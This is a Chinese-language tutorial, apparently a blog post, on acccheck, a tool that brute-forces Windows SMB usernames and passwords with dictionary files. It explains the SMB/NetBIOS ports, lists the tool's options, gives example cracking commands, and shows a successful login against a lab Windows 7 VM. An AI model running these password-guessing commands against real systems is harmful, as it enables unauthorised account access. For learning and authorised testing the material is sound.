破解使用SMB协议的Windows用户密码:acccheck
一.工作原理
Acccheck是一款针对微软的SMB协议的探测工具(字典破解用户名和密码),本身不具有漏洞利用的能力。
SMB协议:SMB(Server Message Block)通信协议主要是作为Microsoft网络的通讯协议,它是一种网络层次协议,使用了NetBIOS的应用程序接口(API),最近微软又把 SMB 改名为 CIFS(Common Internet File System)。
首先提到的是NetBios,NetBios是Network Basic Input/Output System的缩写,提供了一种允许局域网内不同电脑能够通信的功能。严格来说,NetBios是一套API,而并不是一个网络协议。如今,我们使用的网络协议栈是TCP/IP协议栈,在Windows操作系统上,NetBios运行在NetBios over TCP/IP的协议上,NetBios over TCP/IP(简称NBT)是一个网络协议,允许以前使用NetBios API的应用程序能够在现代的TCP/IP网络中。如下图:
再说SMB,它有两种运行方式,第一种运行在NBT(NetBIOS over TCP/IP)上,如下图:
使用的是UDP的137和138端口以及TCP的137和139的端口。
第二种是直接运行在TCP和UDP协议之上,使用的是445端口,可以称为"Direct hosting of SMB over TCP/IP"。
总结:Windows主机上文件打印、文件共享等都通过SMB协议来实现,而SMB通过两种方式运行在139和445端口之上。
二.命令格式
acccheck [-t{IP}|-T{FILE}][-p,-P,-u,-U,-v]
三.常用参数
#以下两个选项必须使用一个来确定目标
-t #使用单个ip地址目标
-T #使用包含多个ip地址的文件
#常用选项
-p #单个密码
-P #密码字典文件
-u #单个用户名
-U #用户字典文件
-v #输出详细破解内容
四.实践
举例说明用法:
acccheck -t 10.10.10.1 #Administrator+空密码
acccheck -t 10.10.10.1 -P password.txt #Administrator+密码字典
acccehck -t 10.10.10.1 -U users.txt -P password.txt #用户名字典+密码字典
acccheck -t 10.10.10.1 -u administrator -p password #用户名+密码
首先在虚拟机中打开win7系统,开启SMB服务,并且创建一个用户名和密码都是test的账户,在cmd中输入netstat -ano查看打开的端口
可以看到139和445端口都是开放的,这是在kail中输入命令
# acccheck -t 192.168.56.101 -u test -p test -v
Host:192.168.56.101, Username:'test', Password:'test'
SUCCESS.... connected to 192.168.56.101 with username:'test' and password:'test'
End of Scan
可以看到成功的连接上了win7,同时还可以自己添加字典文件进行破解。